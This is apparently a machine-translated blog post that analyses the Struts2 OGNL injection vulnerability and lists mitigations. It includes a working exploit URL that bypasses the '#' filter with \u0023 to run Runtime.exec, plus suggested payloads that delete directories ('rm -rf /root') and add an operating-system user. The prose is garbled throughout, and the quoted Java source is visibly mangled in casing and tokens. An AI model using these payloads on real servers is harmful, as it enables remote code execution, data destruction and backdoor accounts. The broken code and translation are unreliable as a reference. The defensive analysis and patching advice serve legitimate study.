Front.
Work a good number of times, has not seriously really to write anything, taking advantage of the recent period of time, summed up some experience in the work in the past few years, especially Struts2 OGNL loophole, did not know how many Internet enterprises affected. Now write him down as a memory of a few years of work.
If you are a reader unfamiliar with Struts2 and want to test Struts2 Ognl vulnerabilities, go to the Struts2 Getting started example, which has a simple example of struts, It is also an example based on Struts2.1.8, which is ideal for testing Struts2.1.8 OGNL vulnerabilities. Vulnerability Analysis
We look at the code caused by this vulnerability, after testing the source of the analysis known. When Struts2 gets the contents of the parameters in the foreground, he first obtains the user-submitted parameter names, and then finds the content in the value stack that conforms to the parameter value and prints it.
Where the Valuestack Findvalue method is a key point, let's look at the methods defined in the value stack class.
Public interface valuestack{Public abstract string findstring (string expr);
Public abstract string FindString (String expr, Boolean throwexceptiononfailure);
/** * Find a value by evaluating the given expression against the "stack in the" Default search order. * @param expr the expression giving the "path of properties to navigate" to "find" property value to return *
@return The result of evaluating the expression * */public abstract Object findvalue (String expr);
Public abstract Object findvalue (String expr, Boolean throwexceptiononfailure);
/** * Find a value by evaluating the given expression against the "stack in the" Default search order.
* @param expr the expression giving the path of properties to navigate to the
* @param astype the "type to convert" to "@return the result of evaluating the expression * * Public abstract Object findvalue (String expR, Class Astype);
Public abstract Object findvalue (String expr, Class astype, Boolean throwexceptiononfailure); }
We can see that findvalue () has three parameters:
An expression of the parameters passed by the customer for expr,
The expression of the Astype parameter requires the class type to be converted,
Throwexceptiononfailure: Failure is always the time to throw an exception
Let's look at the implementation of the findvalue in the implementation class Ognlvaluestack of the Valuestack class:
Public Object findvalue (String expr, Class astype, Boolean throwexceptiononfailure) {try {if (expr
= = null) {return null; } if ((Overrides!= null) && Overrides.containskey (expr)) {expr = (String) overrides
. get (expr);
//This step is the key to the vulnerability. Object value = ognlutil.getvalue (expr, context, root, astype);
if (value!= null) {return value;
else {checkforinvalidproperties (expr, throwexceptiononfailure, throwexceptiononfailure);
return Findincontext (expr); The catch (Ognlexception e) {checkforinvalidproperties (expr, throwexceptiononfailure, Throwexceptiono
Nfailure);
return Findincontext (expr);
catch (Exception e) {loglookupfailure (expr, E);
if (throwexceptiononfailure) throw new Xworkexception (e); return Findincontext (expr);
Finally {reflectioncontextstate.clear (context); }
}
Called in this method.
Object value = ognlutil.getvalue (expr, context, root);
Continue to drill down into the Ognlutil file and see the following code:
Public Object GetValue (String name, Map context, Object root) throws Ognlexception {return
ognl.getvalue compile (nam e), context, root);
Finally you can see the compile of the Ognlutil class, and this step actually executes the expression:
Public Object compile (String expression) throws Ognlexception {
if (enableexpressioncache) {
Object o = Expressio Ns.get (expression);
if (o = = null) {
o = ognl.parseexpression (expression);
Expressions.put (expression, o);
}
return o;
} else return
ognl.parseexpression (expression);
}
After reading the source code we know that the Ognl.getvalue () method is used to find the content of the response in the context (parameter 2) and in the specified class (parameter 3) according to the expression (parameter 1), and returns null if not. In the process of querying, expressions are executed, which gives attackers the opportunity to use this method to perform malicious acts. Test vulnerabilities
We can enter the following in the browser url:http://localhost:8080/struts2ongl/login.action?redirect:%25{3-4}
If the browser displays: http:// Localhost:8080/struts2ongl/login.action?-1, the Struts2 version has a OGNL expression vulnerability because the expression following the argument is executed.
if: http://localhost:8080/struts2ongl/login.action?redirect:%25{3-4} is displayed on the browser, the STRUTS2 version does not have a OGNL expression vulnerability. It does not have an expression following the execution parameter. The core of the
Struts2 is the webwork framework used to handle HTTP parameters by invoking the underlying Getter/setter method when the action is processed, which declares each HTTP parameter as a ONGL (here is the ONGL description) statement. When we submit an HTTP parameter:
? user.address.city=bishkek&user[' Favoritedrink ']=kumys
Ongl converts it to (the following Java code):
Action.getuser (). GetAddress (). Setcity ("Bishkek");
Action.getuser (). Setfavoritedrink ("Kumys");
This is through P Arametersinterceptor (parameter filter) to invoke Valuestack.setvalue () using the user-supplied HTTP parameter.
to prevent tampering with server-side objects, the Xwork Parametersinterceptor does not allow the "#" character to appear in the parameter name, but if a Java Unicode string is used to represent \u0023, the attacker can bypass protection.
The following URL requests the code to be destructive, please execute it in the test environment and do not use this method for malicious attacks.
Http://localhost:8080/Struts2Ongl/login.action? (' \u0023_memberaccess[\ ' allowstaticmethodaccess\ ']) (a) =true
& (b) (' \u0023context[\ ' xwork. methodaccessor.denymethodexecution\ ']\u003d\u0023zzz ')
(\u0023zzz\u003dnew%20java.lang.boolean ("false"))
& (c) (@java. Lang.runtime@getruntime (). EXEC ("calc"))
After escaping the URL is as follows:
Http://localhost:8080/Struts2Ongl/login.action? (' #_memberAccess [' allowstaticmethodaccess '] ') (a) =true
& (b) (' #context [' xwork. Methodaccessor.denymethodexecution ']= #zzz ')
(#zzz =new%20java.lang.boolean ("false"))
& (c) (' # Rt.exec ("Calc") ") (#rt = @java. Lang.runtime@getruntime ()) =1
The final result of OGNL processing is to execute the code:
Java.lang.Runtime.getRuntime (). EXEC ("calc");
The demo effect under Windows is to pop up the calculator
Similarly, you can perform the following code:
Java.lang.Runtime.getRuntime (). EXEC ("Rm–rf/root")
, you can delete any directory as long as you have permission.
java.lang.Runtime.getRuntime (). EXEC ("NET user username password/add")//Increase operating system user, can succeed with permission (replace space with%20 in URL,%2f replace/)
Consequence is quite a terrible solution
There are about four solutions, and the solution is as follows. It is recommended that the fourth plan be used.
1. Upgrade to struts2.2 version.
This can avoid this problem, the test found that although the new version solves the above vulnerabilities, but the new problem is the strus tag problems.
<s:bean id= "Test" name= "Cn.com.Test" ></s:bean>
Such a label in the struts2.0 can be used, but the new version is not resolved, the reason is "#" caused by the problem, fill the loophole, the normal use is not used.
Therefore, it is not feasible to upgrade the proposal on the Sebug website to version 2.2.
2.struts parameter filtering.
<interceptor-ref name= "params" >
<param name= "Excludeparams" >.*\\u0023.*</param>
</ Interceptor-ref>
this resolves the vulnerability problem, which is that the workload is large, and each project has to be changed to the struts configuration file. If the project is a reference to a similar global.xml profile, the workload is reduced accordingly.
3. Filter at front-end request.
For example, in the Ngnix,apache to intercept, parameters with \u0023 are considered attacks, jump to 404 pages or other pages. One prerequisite for this is that no one passes the # code as a parameter.
Requests can be filtered if they are get, and if they are not filtered by post, you should still modify the configuration file or update the new jar package.
4, full upgrade. struts2.1.8.1 upgrade to 2.3.24 1, add Jar Pack: Commons-lang3-3.2.jar and Javassist-3.11.0.ga.jar 2, replace jar package:
Commons-fileupload-1.2.1.jar-->commons-fileupload-1.3.1.jar
Commons-io-1.3.2.jar-–>commons-io-2.2.jar
Freemarker-2.3.15.jar-->freemarker-2.3.22.jar
ognl-2.7.3.jar--> Ognl-3.0.6.jar
struts2-core-2.1.8.1.jar--> Struts2-core-2.3.24.jar
xwork-core-2.1.6.jar-–> Xwork-core-2.3.24.jar 3, Retain the original Commons-lang.jar,org.apache.commons.lang.stringutils class was replaced by Org.apache.commons.lang3.StringUtils 4, modify Web.xml, Change Org.apache.struts2.dispatcher.FilterDispatcher to Org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter